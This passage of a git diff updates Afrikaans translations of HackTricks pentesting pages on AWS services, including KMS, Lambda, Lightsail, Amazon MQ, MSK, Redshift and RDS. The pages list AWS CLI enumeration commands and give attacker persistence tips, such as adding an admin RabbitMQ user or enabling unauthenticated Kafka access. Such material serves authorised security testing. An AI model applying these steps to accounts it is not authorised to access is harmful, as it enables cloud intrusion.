gevoeg word (nie groepe nie). +- As 'n eksterne CMK gebruik word, het Sleuteladministrators die toestemming om sleutelmateriaal te invoer. -### Rotasie van CMK's +### Rotasie van CMKs -- Hoe langer dieselfde sleutel in plek gelaat word, hoe meer data word met daardie sleutel geënkripteer, en as daardie sleutel gecompromitteer word, is die blast area van data wyer in gevaar. Benewens dit, hoe langer die sleutel aktief is, hoe groter is die waarskynlikheid dat dit gecompromitteer sal word. -- **KMS roteer kliëntsleutels elke 365 dae** (of jy kan die proses handmatig uitvoer wanneer jy wil) en **sleutels bestuur deur AWS elke 3 jaar** en hierdie tyd kan nie verander word nie. -- **Ou sleutels word behou** om data te dekripteer wat voor die rotasie geënkripteer is. +- Hoe langer dieselfde sleutel in plek gelaat word, hoe meer data word met daardie sleutel geënkripteer, en as daardie sleutel gecompromitteer word, is die groter die blast area van data in gevaar. Benewens dit, hoe langer die sleutel aktief is, hoe groter is die waarskynlikheid dat dit gecompromitteer sal word. +- **KMS roteer klant sleutels elke 365 dae** (of jy kan die proses handmatig uitvoer wanneer jy wil) en **sleutels bestuur deur AWS elke 3 jaar** en hierdie tyd kan nie verander word nie. +- **Ou sleutels word behou** om data te dekripteer wat voor die rotasie geënkripteer was. - In 'n breek, sal die rotasie van die sleutel nie die bedreiging verwyder nie, aangesien dit moontlik sal wees om al die data wat met die gecompromitteerde sleutel geënkripteer is, te dekripteer. Tog, die **nuwe data sal geënkripteer word met die nuwe sleutel**. - As **CMK** in 'n toestand van **gedeaktiveer** of **hangende** **verwydering** is, sal KMS **nie 'n sleutelrotasie uitvoer nie** totdat die CMK heraktiveer of die verwydering gekanselleer word. #### Handmatige rotasie -- 'n **Nuwe CMK moet geskep word**, dan, 'n nuwe CMK-ID word geskep, so jy sal **moet opdateer** enige **aansoek** om die nuwe CMK-ID te **verwys**. +- 'n **Nuwe CMK moet geskep word**, dan, 'n nuwe CMK-ID word geskep, so jy sal **moet opdateer** enige **toepassing** om die nuwe CMK-ID te **verwys**. - Om hierdie proses makliker te maak, kan jy **aliases gebruik om na 'n sleutel-id te verwys** en dan net die sleutel wat die alias verwys, opdateer. - Jy moet **ou sleutels hou om ou lêers te dekripteer** wat daarmee geënkripteer is. -Jy kan sleutels van jou plaaslike sleutel-infrastruktuur invoer. +Jy kan sleutels van jou on-premises sleutel infrastruktuur invoer. ### Ander relevante KMS-inligting -KMS word geprys per aantal enkripsie/dekripsie versoeke wat van alle dienste per maand ontvang word. +KMS is geprys per aantal enkripsie/dekripsie versoeke wat van alle dienste per maand ontvang word. KMS het volle oudit en nakoming **integrasie met CloudTrail**; dit is waar jy al die veranderinge wat op KMS uitgevoer is, kan oudit. Met KMS-beleid kan jy die volgende doen: -- Beperk wie data sleutels kan skep en watter dienste toegang het om hierdie sleutels te gebruik -- Beperk stelsels se toegang om slegs te enkripteer, slegs te dekripteer of albei +- Beperk wie data sleutels kan skep en watter dienste toegang het om hierdie sleutels te gebruik. +- Beperk stelsels toegang om slegs te enkripteer, slegs te dekripteer of albei. - Definieer om stelsels toe te laat om sleutels oor streke te benader (alhoewel dit nie aanbeveel word nie, aangesien 'n mislukking in die streek wat KMS huisves, die beskikbaarheid van stelsels in ander streke sal beïnvloed). Jy kan nie sleutels oor streke sinkroniseer of beweeg/kopieer nie; jy kan slegs reëls definieer om toegang oor streke toe te laat. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 4b2172713..b10972380 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,7 +4,7 @@ ## Lambda -Amazon Web Services (AWS) Lambda word beskryf as 'n **rekenaar diens** wat die uitvoering van kode moontlik maak sonder die noodsaaklikheid van bediener voorsiening of bestuur. Dit word gekenmerk deur sy vermoë om **outomaties hulpbronne toe te ken** wat nodig is vir kode uitvoering, wat funksies soos hoë beskikbaarheid, skaalbaarheid en sekuriteit verseker. 'n Belangrike aspek van Lambda is sy prysmodel, waar **heffings slegs gebaseer is op die rekenaartyd wat gebruik word**, wat die noodsaaklikheid van aanvanklike belegging of langtermyn verpligtinge uitskakel. +Amazon Web Services (AWS) Lambda word beskryf as 'n **rekenaar diens** wat die uitvoering van kode moontlik maak sonder die noodsaaklikheid van bediener voorsiening of bestuur. Dit word gekenmerk deur sy vermoë om **outomaties hulpbron toewysing** te hanteer wat nodig is vir kode uitvoering, wat funksies soos hoë beskikbaarheid, skaalbaarheid en sekuriteit verseker. 'n Belangrike aspek van Lambda is sy prysmodel, waar **heffings slegs gebaseer is op die rekenaartyd wat gebruik word**, wat die behoefte aan aanvanklike belegging of langtermyn verpligtinge uitskakel. Om 'n lambda aan te roep, is dit moontlik om dit **so gereeld soos jy wil** aan te roep (met Cloudwatch), **'n URL** eindpunt bloot te stel en dit aan te roep, dit via **API Gateway** aan te roep of selfs gebaseer op **gebeurtenisse** soos **veranderings** aan data in 'n **S3** emmer of opdaterings aan 'n **DynamoDB** tabel. @@ -20,7 +20,7 @@ As die kode van **een** van die aliases **kwetsbaar** is, kan jy **versoeke stuu ### Resource Policies -Lambda hulpbronbeleide laat toe om **toegang te gee aan ander dienste/rekeninge om die** lambda aan te roep.\ +Lambda hulpbronbeleide laat toe om **toegang aan ander dienste/rekeninge te gee om** die lambda aan te roep byvoorbeeld.\ Byvoorbeeld, dit is die beleid om **enigeen toe te laat om 'n lambda wat via URL blootgestel is, te benader**:
@@ -52,7 +52,7 @@ Funksies wat as 'n houer beeld ontplooi word, gebruik nie lae nie. In plaas daar Lambda uitbreidings verbeter funksies deur te integreer met verskeie **monitering, waaksaamheid, sekuriteit, en bestuur gereedskap**. Hierdie uitbreidings, bygevoeg via [.zip argiewe met behulp van Lambda lae](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) of ingesluit in [houer beeld ontplooiings](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), werk in twee modi: **intern** en **ekstern**. -- **Interne uitbreidings** meng met die runtime proses, wat sy opstart manipuleer met behulp van **taalspesifieke omgewing veranderlikes** en **wrapper skripte**. Hierdie aanpassing geld vir 'n reeks runtimes, insluitend **Java Correto 8 en 11, Node.js 10 en 12, en .NET Core 3.1**. +- **Interne uitbreidings** meng met die runtime proses, wat die opstart manipuleer met behulp van **taalspesifieke omgewing veranderlikes** en **wrapper skripte**. Hierdie aanpassing geld vir 'n reeks runtimes, insluitend **Java Correto 8 en 11, Node.js 10 en 12, en .NET Core 3.1**. - **Eksterne uitbreidings** loop as aparte prosesse, wat operasionele belyning met die Lambda funksie se lewensiklus handhaaf. Hulle is versoenbaar met verskeie runtimes soos **Node.js 10 en 12, Python 3.7 en 3.8, Ruby 2.5 en 2.7, Java Corretto 8 en 11, .NET Core 3.1**, en **aangepaste runtimes**. ### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 84cb65489..a99e0dc0d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail bied 'n **maklike**, liggewig manier vir nuwe wolkgebruikers om voordeel te trek uit AWS se wolkrekenaardienste. Dit stel jou in staat om algemene en pasgemaakte webdienste in sekondes te ontplooi via **VMs** (**EC2**) en **houers**.\ +Amazon Lightsail bied 'n **maklike**, liggewig manier vir nuwe wolkgebruikers om voordeel te trek uit AWS se wolkrekenaarsdienste. Dit stel jou in staat om algemene en pasgemaakte webdienste in sekondes te ontplooi via **VMs** (**EC2**) en **houers**.\ Dit is 'n **minimale EC2 + Route53 + ECS**. ### Enumeration @@ -28,13 +28,13 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` -### Analiseer Snapshotte +### Ontleed Snapshots -Dit is moontlik om **instansie en relationele databasis snapshotte van lightsail** te genereer. Daarom kan jy dit op dieselfde manier nagaan as wat jy [**EC2 snapshotte**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) en [**RDS snapshotte**](aws-relational-database-rds-enum.md#enumeration) nagaan. +Dit is moontlik om **instansie en relationele databasis snapshots van lightsail** te genereer. Daarom kan jy dit op dieselfde manier nagaan as wat jy [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) en [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration) kan nagaan. ### Metadata -**Metadata-eindpunt is toeganklik vanaf lightsail**, maar die masjiene loop in 'n **AWS-rekening wat deur AWS bestuur word**, so jy beheer nie **watter toestemmings toegeken word** nie. As jy egter 'n manier vind om dit te benut, sal jy direk AWS benut. +**Metadata eindpunt is toeganklik vanaf lightsail**, maar die masjiene loop in 'n **AWS rekening wat deur AWS bestuur word** so jy beheer nie **watter toestemmings toegeken word** nie. As jy egter 'n manier vind om dit te benut, sal jy direk AWS benut. ### Privesc @@ -42,13 +42,13 @@ Dit is moontlik om **instansie en relationele databasis snapshotte van lightsail ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitatie +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Volharding +### Persistensie {{#ref}} ../aws-persistence/aws-lightsail-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 274ad89fe..3743823af 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,7 +6,7 @@ ### Inleiding tot Boodskap Brokers -**Boodskap brokers** dien as tussenpersoon, wat kommunikasie tussen verskillende sagteware stelsels fasiliteer, wat op verskillende platforms gebou kan wees en in verskillende tale geprogrammeer kan wees. **Amazon MQ** vereenvoudig die ontplooiing, werking en onderhoud van boodskap brokers op AWS. Dit bied bestuurde dienste vir **Apache ActiveMQ** en **RabbitMQ**, wat naatlose voorsiening en outomatiese sagteware weergawe-opdaterings verseker. +**Boodskap brokers** dien as intermediêre, wat kommunikasie tussen verskillende sagteware stelsels fasiliteer, wat op verskillende platforms gebou kan wees en in verskillende tale geprogrammeer kan wees. **Amazon MQ** vereenvoudig die ontplooiing, werking en onderhoud van boodskap brokers op AWS. Dit bied bestuurde dienste vir **Apache ActiveMQ** en **RabbitMQ**, wat naatlose voorsiening en outomatiese sagteware weergawe-opdaterings verseker. ### AWS - RabbitMQ @@ -14,10 +14,10 @@ RabbitMQ is 'n prominente **boodskap-rygagte sagteware**, ook bekend as 'n _bood ### AWS - ActiveMQ -Apache ActiveMQ® is 'n toonaangewende oopbron, Java-gebaseerde **boodskap broker** bekend vir sy veelsydigheid. Dit ondersteun verskeie bedryfstandaard protokolle, wat uitgebreide kliënt-compatibiliteit oor 'n wye verskeidenheid tale en platforms bied. Gebruikers kan: +Apache ActiveMQ® is 'n toonaangewende oopbron, Java-gebaseerde **boodskap broker** bekend vir sy veelsydigheid. Dit ondersteun verskeie bedryfstandaard protokolle, wat uitgebreide kliëntkompatibiliteit oor 'n wye verskeidenheid tale en platforms bied. Gebruikers kan: - Koppel met kliënte geskryf in JavaScript, C, C++, Python, .Net, en meer. -- Die **AMQP** protokol benut om toepassings van verskillende platforms te integreer. +- Gebruik die **AMQP** protokol om toepassings van verskillende platforms te integreer. - **STOMP** oor websockets gebruik vir webtoepassing boodskapuitruil. - IoT-toestelle met **MQTT** bestuur. - Bestaande **JMS** infrastruktuur onderhou en sy vermoëns uitbrei. @@ -56,17 +56,17 @@ aws mq create-user --broker-id --password --username --c ../aws-privilege-escalation/aws-mq-privesc.md {{#endref}} -## Ongeauthentiseerde Toegang +## Unauthenticated Access {{#ref}} ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md {{#endref}} -## Volharding +## Persistence -As jy die akrediteerbesonderhede het om toegang tot die RabbitMQ-webkonsol te verkry, kan jy 'n nuwe gebruiker met administratiewe regte skep. +As jy die akrediteerbesonderhede het om toegang tot die RabbitMQ webkonsol te verkry, kan jy 'n nuwe gebruiker met admin regte skep. -## Verwysings +## References - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html) - [https://activemq.apache.org/](https://activemq.apache.org/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 4c2185014..54913e874 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -6,15 +6,15 @@ **Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is 'n diens wat ten volle bestuur word, wat die ontwikkeling en uitvoering van toepassings wat stroomdata verwerk deur **Apache Kafka** fasiliteer. Beheer-vlak operasies, insluitend die skep, opdateer en verwyder van **clusters**, word deur Amazon MSK aangebied. Die diens laat die gebruik van Apache Kafka **data-vlak operasies** toe, wat data produksie en verbruik insluit. Dit werk op **oop-bron weergawes van Apache Kafka**, wat verseker dat dit versoenbaar is met bestaande toepassings, gereedskap en plugins van beide vennote en die **Apache Kafka-gemeenskap**, wat die behoefte aan veranderinge in die toepassingskode uitskakel. -Wat betroubaarheid betref, is Amazon MSK ontwerp om **outomaties algemene cluster-faal scenario's te detecteer en te herstel**, wat verseker dat produsent- en verbruiker-toepassings voortgaan met hul data skryf- en leesaktiwiteite met minimale onderbreking. Boonop poog dit om data replikasie prosesse te optimaliseer deur te probeer om die **berging van vervangde brokers te hergebruik**, wat die volume van data wat deur Apache Kafka gerepliseer moet word, minimaliseer. +In terme van betroubaarheid, is Amazon MSK ontwerp om **outomaties te detecteer en te herstel van algemene cluster-faal scenario's**, wat verseker dat produsent- en verbruiker-toepassings voortgaan met hul data skryf- en leesaktiwiteite met minimale onderbreking. Boonop poog dit om data replikasie prosesse te optimaliseer deur te probeer om die **berging van vervangde brokers** te **hergebruik**, wat die volume van data wat deur Apache Kafka gerepliseer moet word, minimaliseer. ### **Tipes** -Daar is 2 tipes Kafka-clusters wat AWS toelaat om te skep: Provisioned en Serverless. +Daar is 2 tipes Kafka clusters wat AWS toelaat om te skep: Provisioned en Serverless. Van die oogpunt van 'n aanvaller moet jy weet dat: -- **Serverless kan nie direk publiek wees nie** (dit kan slegs in 'n VPN loop sonder enige publiek blootgestelde IP). egter, **Provisioned** kan gekonfigureer word om 'n **publieke IP** te kry (standaard doen dit nie) en die **veiligheidsgroep** te konfigureer om die relevante poorte te **bloot te stel**. +- **Serverless kan nie direk publiek wees nie** (dit kan slegs in 'n VPN loop sonder enige publiek blootgestelde IP). egter, **Provisioned** kan gekonfigureer word om 'n **publieke IP** te kry (per standaard doen dit nie) en die **veiligheidsgroep** te konfigureer om die relevante poorte te **bloot te stel**. - **Serverless** **ondersteun slegs IAM** as autentikasie metode. **Provisioned** ondersteun SASL/SCRAM (**wagwoord**) autentikasie, **IAM** autentikasie, AWS **Certificate** Manager (ACM) autentikasie en **Onautentiseerde** toegang. - Let daarop dat dit nie moontlik is om 'n Provisioned Kafka publiek bloot te stel as onaudentiseerde toegang geaktiveer is nie. @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -As jy **toegang tot die VPC** waar 'n Provisioned Kafka is, gaan hê, kan jy **ongemagtigde toegang** **aktiveer**, as **SASL/SCRAM-sertifisering**, **lees** die wagwoord uit die geheim, gee 'n paar **ander beheerde gebruiker IAM-toestemmings** (as IAM of serverless gebruik word) of volhard met **sertifikate**. +As jy **toegang tot die VPC** waar 'n Provisioned Kafka is, gaan hê, kan jy **nie-geautoriseerde toegang** **aktiveer**, as **SASL/SCRAM-oute** gebruik word, **lees** die wagwoord uit die geheim, gee 'n paar **ander beheerde gebruiker IAM-toestemmings** (as IAM of serverless gebruik word) of volhard met **sertifikate**. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index 3b6c5a2de..e8e3d095e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -1,17 +1,17 @@ -# AWS - Organizations Enum +# AWS - Organisasies Enum {{#include ../../../banners/hacktricks-training.md}} ## Basiese Inligting -AWS Organizations fasiliteer die skep van nuwe AWS-rekeninge sonder om addisionele koste te incurr. Hulpbronne kan moeiteloos toegeken word, rekeninge kan doeltreffend gegroepeer word, en bestuursbeleide kan op individuele rekeninge of groepe toegepas word, wat bestuur en beheer binne die organisasie verbeter. +AWS Organisasies fasiliteer die skep van nuwe AWS-rekeninge sonder om addisionele koste te incurr. Hulpbronne kan moeiteloos toegeken word, rekeninge kan doeltreffend gegroepeer word, en bestuursbeleide kan op individuele rekeninge of groepe toegepas word, wat bestuur en beheer binne die organisasie verbeter. Belangrike Punten: -- **Nuwe Rekening Skep**: AWS Organizations laat die skep van nuwe AWS-rekeninge toe sonder ekstra koste. +- **Nuwe Rekening Skep**: AWS Organisasies laat die skep van nuwe AWS-rekeninge toe sonder ekstra koste. - **Hulpbron Toekenning**: Dit vereenvoudig die proses om hulpbronne oor die rekeninge toe te ken. - **Rekening Groepering**: Rekeninge kan saamgegroepeer word, wat bestuur meer gestroomlyn maak. -- **Bestuursbeleide**: Beleide kan op rekeninge of groepe van rekeninge toegepas word, wat nakoming en bestuur oor die organisasie verseker. +- **Bestuursbeleide**: Beleide kan op rekeninge of groepe rekeninge toegepas word, wat nakoming en bestuur oor die organisasie verseker. Jy kan meer inligting vind in: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index 9e4ee6b15..85be9895a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -13,7 +13,7 @@ aws directconnect describe-virtual-interfaces ``` ## Ondersteuning -In AWS kan jy huidige en vorige ondersteuningsake via die API toegang verkry +In AWS kan jy huidige en vorige ondersteuningsake via die API toegang verkry. ``` aws support describe-cases --include-resolved-cases ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 2922ecd0b..3d3e9c5a9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -8,7 +8,7 @@ Redshift is 'n volledig bestuurde diens wat kan skaal tot oor 'n petabyte in gro **Redshift bied versleuteling in rus aan met 'n vier-laag hiërargie van versleuteling sleutels wat KMS of CloudHSM gebruik om die boonste laag van sleutels te bestuur**. **Wanneer versleuteling geaktiveer is vir jou kluster, kan dit nie gedeaktiveer word nie en omgekeerd**. Wanneer jy 'n nie-versleutelde kluster het, kan dit nie versleuteld word nie. -Versleuteling vir jou kluster kan slegs tydens die skepping daarvan plaasvind, en sodra dit versleuteld is, is die data, metadata, en enige snappings ook versleuteld. Die laaggelaagdheid van versleuteling sleutels is soos volg, **laag een is die meester sleutel, laag twee is die kluster versleuteling sleutel, die CEK, laag drie, die databasis versleuteling sleutel, die DEK, en uiteindelik laag vier, die data versleuteling sleutels self**. +Versleuteling vir jou kluster kan slegs tydens sy skepping plaasvind, en sodra dit versleuteld is, is die data, metadata, en enige snappings ook versleuteld. Die laaggraad van versleuteling sleutels is soos volg, **laag een is die meester sleutel, laag twee is die kluster versleuteling sleutel, die CEK, laag drie, die databasis versleuteling sleutel, die DEK, en uiteindelik laag vier, die data versleuteling sleutels self**. ### KMS @@ -20,7 +20,7 @@ Hierdie KMS sleutel word dan versleuteld met die CMK meester sleutel, laag een. Redshift vra dan KMS om die CEK, laag twee, te ontsleutel. Hierdie ontsleutelde CEK word dan ook in geheue gestoor. Redshift skep dan 'n ewekansige databasis versleuteling sleutel, die DEK, laag drie, en laai dit in die geheue van die kluster. Die ontsleutelde CEK in geheue versleutelt dan die DEK, wat ook in geheue gestoor word. -Hierdie versleutelde DEK word dan oor 'n veilige kanaal gestuur en apart in Redshift gestoor van die kluster. Beide die CEK en die DEK is nou in die geheue van die kluster gestoor, beide in 'n versleutelde en ontsleutelde vorm. Die ontsleutelde DEK word dan gebruik om datakeys, laag vier, te versleutelen wat ewekansig deur Redshift vir elke datablock in die databasis gegenereer word. +Hierdie versleutelde DEK word dan oor 'n veilige kanaal gestuur en apart in Redshift van die kluster gestoor. Beide die CEK en die DEK is nou in die geheue van die kluster gestoor, beide in 'n versleutelde en ontsleutelde vorm. Die ontsleutelde DEK word dan gebruik om data sleutels, laag vier, te versleutelen wat ewekansig deur Redshift vir elke datablock in die databasis gegenereer word. Jy kan AWS Trusted Advisor gebruik om die konfigurasie van jou Amazon S3-buckets te monitor en te verseker dat bucket logging geaktiveer is, wat nuttig kan wees vir die uitvoering van sekuriteitsoudites en die opsporing van gebruikspatrone in S3. @@ -28,7 +28,7 @@ Jy kan AWS Trusted Advisor gebruik om die konfigurasie van jou Amazon S3-buckets
-Gebruik Redshift met CloudHSM +Using Redshift with CloudHSM Wanneer jy met CloudHSM werk om jou versleuteling uit te voer, moet jy eers 'n vertroude verbinding tussen jou HSM-klient en Redshift opstel terwyl jy kliënt- en bedienersertifikate gebruik. @@ -36,9 +36,9 @@ Hierdie verbinding is nodig om veilige kommunikasie te bied, wat toelaat dat ver Jy moet dan Redshift konfigureer met die volgende besonderhede van jou HSM-klient: die HSM IP-adres, die HSM-partisie naam, die HSM-partisie wagwoord, en die publieke HSM bedienersertifikaat, wat deur CloudHSM met 'n interne meester sleutel versleuteld is. Sodra hierdie inligting verskaf is, sal Redshift bevestig en verifieer dat dit kan aansluit en toegang tot die ontwikkelingspartisie kan verkry. -As jou interne sekuriteitsbeleide of bestuurbeheer bepaal dat jy sleutelrotasie moet toepas, dan is dit moontlik met Redshift wat jou in staat stel om versleuteling sleutels vir versleutelde klusters te roteer, maar jy moet bewus wees dat tydens die sleutelrotasie proses, dit 'n kluster vir 'n baie kort tydperk van tyd onbeskikbaar sal maak, en dit is dus die beste om sleutels slegs te roteer soos en wanneer jy moet, of as jy voel dat hulle moontlik gecompromitteer is. +As jou interne sekuriteitsbeleide of bestuurbeheer bepaal dat jy sleutelrotasie moet toepas, dan is dit moontlik met Redshift wat jou in staat stel om versleuteling sleutels vir versleutelde klusters te roteer, egter, jy moet bewus wees dat tydens die sleutelrotasie proses, dit 'n kluster vir 'n baie kort tydperk van tyd onbeskikbaar sal maak, en dit is dus die beste om sleutels slegs te roteer soos en wanneer jy dit nodig het, of as jy voel dat hulle moontlik gecompromitteer is. -Tydens die rotasie, sal Redshift die CEK vir jou kluster en vir enige rugsteun van daardie kluster roteer. Dit sal 'n DEK vir die kluster roteer, maar dit is nie moontlik om 'n DEK vir die snappings wat in S3 gestoor is en met die DEK versleuteld is, te roteer nie. Dit sal die kluster in 'n toestand van 'sleutels roteer' plaas totdat die proses voltooi is wanneer die status terugkeer na 'beskikbaar'. +Tydens die rotasie, sal Redshift die CEK vir jou kluster en vir enige rugsteun van daardie kluster roteer. Dit sal 'n DEK vir die kluster roteer, maar dit is nie moontlik om 'n DEK vir die snappings wat in S3 gestoor is en met die DEK versleuteld is, te roteer nie. Dit sal die kluster in 'n toestand van 'sleutels roteer' plaas totdat die proses voltooi is wanneer die status weer 'beskikbaar' sal wees.
@@ -87,7 +87,7 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistensie +## Volharding Die volgende aksies stel in staat om toegang tot ander AWS-rekeninge tot die kluster te verleen: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index cbaa367b4..217931519 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -14,17 +14,17 @@ Belangrike kenmerke van RDS sluit in: - Skep van **lees replika** om leesprestasie te verbeter. - Konfigurasie van **multi-Beskikbaarheid Sone (AZ) ontplooiings** om hoë beskikbaarheid en failover meganismes te verseker. - **Integrasie** met ander AWS dienste, soos: -- AWS Identiteit en Toegang Bestuur (**IAM**) vir robuuste toegangbeheer. +- AWS Identity and Access Management (**IAM**) vir robuuste toegangbeheer. - AWS **CloudWatch** vir omvattende monitering en metrieke. -- AWS Sleutelbestuurdiens (**KMS**) om versleuteling in rus te verseker. +- AWS Key Management Service (**KMS**) om versleuteling in rus te verseker. ## Kredensiale -Wanneer die DB-kluster geskep word, kan die meester **gebruikersnaam** geconfigureer word (**`admin`** is die standaard). Om die wagwoord van hierdie gebruiker te genereer, kan jy: +Wanneer die DB-kluster geskep word, kan die meester **gebruikersnaam** geconfigureer word (**`admin`** as standaard). Om die wagwoord van hierdie gebruiker te genereer, kan jy: - **Aangee** 'n **wagwoord** self -- RDS sê om dit **outomaties te genereer** -- RDS sê om dit in **AWS Secret Manager** te bestuur wat met 'n KMS-sleutel versleuteld is +- RDS vra om dit **outomaties te genereer** +- RDS vra om dit in **AWS Secret Manager** te bestuur wat met 'n KMS-sleutel versleuteld is
@@ -38,7 +38,7 @@ Daar is 3 tipes verifikasie opsies, maar die gebruik van die **meester wagwoord Standaard **word geen publieke toegang toegestaan** tot die databasisse nie, maar dit **kan toegestaan word**. Daarom sal slegs masjiene van dieselfde VPC toegang hê as die geselekteerde **veiligheidsgroep** (wat in EC2 SG gestoor word) dit toelaat. -In plaas daarvan om 'n DB-instansie bloot te stel, is dit moontlik om 'n **RDS Proxy** te skep wat die **skaalbaarheid** & **beskikbaarheid** van die DB-kluster **verbeter**. +In plaas daarvan om 'n DB-instansie bloot te stel, is dit moontlik om 'n **RDS Proxy** te skep wat die **schaalbaarheid** & **beskikbaarheid** van die DB-kluster **verbeter**. Boonop kan die **databasispoort ook gewysig word**. @@ -49,26 +49,26 @@ Boonop kan die **databasispoort ook gewysig word**. Deur jou versleuteling te aktiveer, aktiveer jy **versleuteling in rus vir jou stoor, snapshots, lees replika en jou rugsteun**. Sleutels om hierdie versleuteling te bestuur kan uitgereik word deur **KMS**.\ Dit is nie moontlik om hierdie vlak van versleuteling by te voeg nadat jou databasis geskep is nie. **Dit moet tydens die skepping gedoen word**. -Daar is egter 'n **ompad wat jou toelaat om 'n nie-versleutelde databasis soos volg te versleutel**. Jy kan 'n snapshot van jou nie-versleutelde databasis skep, 'n versleutelde kopie van daardie snapshot skep, daardie versleutelde snapshot gebruik om 'n nuwe databasis te skep, en dan, uiteindelik, sou jou databasis dan versleuteld wees. +Daar is egter 'n **ompad wat jou toelaat om 'n nie-versleutelde databasis soos volg te versleutelen**. Jy kan 'n snapshot van jou nie-versleutelde databasis skep, 'n versleutelde kopie van daardie snapshot skep, daardie versleutelde snapshot gebruik om 'n nuwe databasis te skep, en dan, uiteindelik, sou jou databasis dan versleuteld wees. #### Deursigtige Data Versleuteling (TDE) -Saam met die versleuteling vermoëns wat inherent aan RDS op die toepassingsvlak is, ondersteun RDS ook **addisionele platform-vlak versleuteling meganismes** om data in rus te beskerm. Dit sluit **Deursigtige Data Versleuteling (TDE)** vir Oracle en SQL Server in. Dit is egter belangrik om op te let dat terwyl TDE sekuriteit verbeter deur data in rus te versleutel, dit ook **databasisprestasie kan beïnvloed**. Hierdie prestasie-impak is veral merkbaar wanneer dit saam met MySQL-kryptografiese funksies of Microsoft Transact-SQL-kryptografiese funksies gebruik word. +Saam met die versleuteling vermoëns wat inherent aan RDS op die toepassingsvlak is, ondersteun RDS ook **addisionele platform-vlak versleuteling meganismes** om data in rus te beskerm. Dit sluit **Deursigtige Data Versleuteling (TDE)** vir Oracle en SQL Server in. Dit is egter belangrik om op te let dat terwyl TDE sekuriteit verbeter deur data in rus te versleutelen, dit ook **databasisprestasie kan beïnvloed**. Hierdie prestasie-impak is veral merkbaar wanneer dit saam met MySQL-kryptografiese funksies of Microsoft Transact-SQL-kryptografiese funksies gebruik word. Om TDE te gebruik, is sekere voorlopige stappe nodig: 1. **Opsie Groep Assosiasie**: -- Die databasis moet met 'n opsiegroep geassosieer word. Opsiegroepe dien as houers vir instellings en kenmerke, wat databasisbestuur vergemaklik, insluitend sekuriteitsverbeterings. +- Die databasis moet met 'n opsiegroep geassosieer word. Opsiegroepe dien as houers vir instellings en funksies, wat databasisbestuur vergemaklik, insluitend sekuriteitsverbeterings. - Dit is egter belangrik om op te let dat opsiegroepe slegs beskikbaar is vir spesifieke databasis enjin en weergawes. 2. **Insluiting van TDE in Opsiegroep**: - Sodra dit met 'n opsiegroep geassosieer is, moet die Oracle Deursigtige Data Versleuteling opsie in daardie groep ingesluit word. -- Dit is noodsaaklik om te erken dat sodra die TDE opsie by 'n opsiegroep gevoeg word, dit 'n permanente kenmerk word en nie verwyder kan word nie. +- Dit is noodsaaklik om te erken dat sodra die TDE opsie aan 'n opsiegroep bygevoeg word, dit 'n permanente kenmerk word en nie verwyder kan word nie. 3. **TDE Versleuteling Modusse**: - TDE bied twee uiteenlopende versleuteling modusse: -- **TDE Tabelruimte Versleuteling**: Hierdie modus versleutel hele tabelles, wat 'n 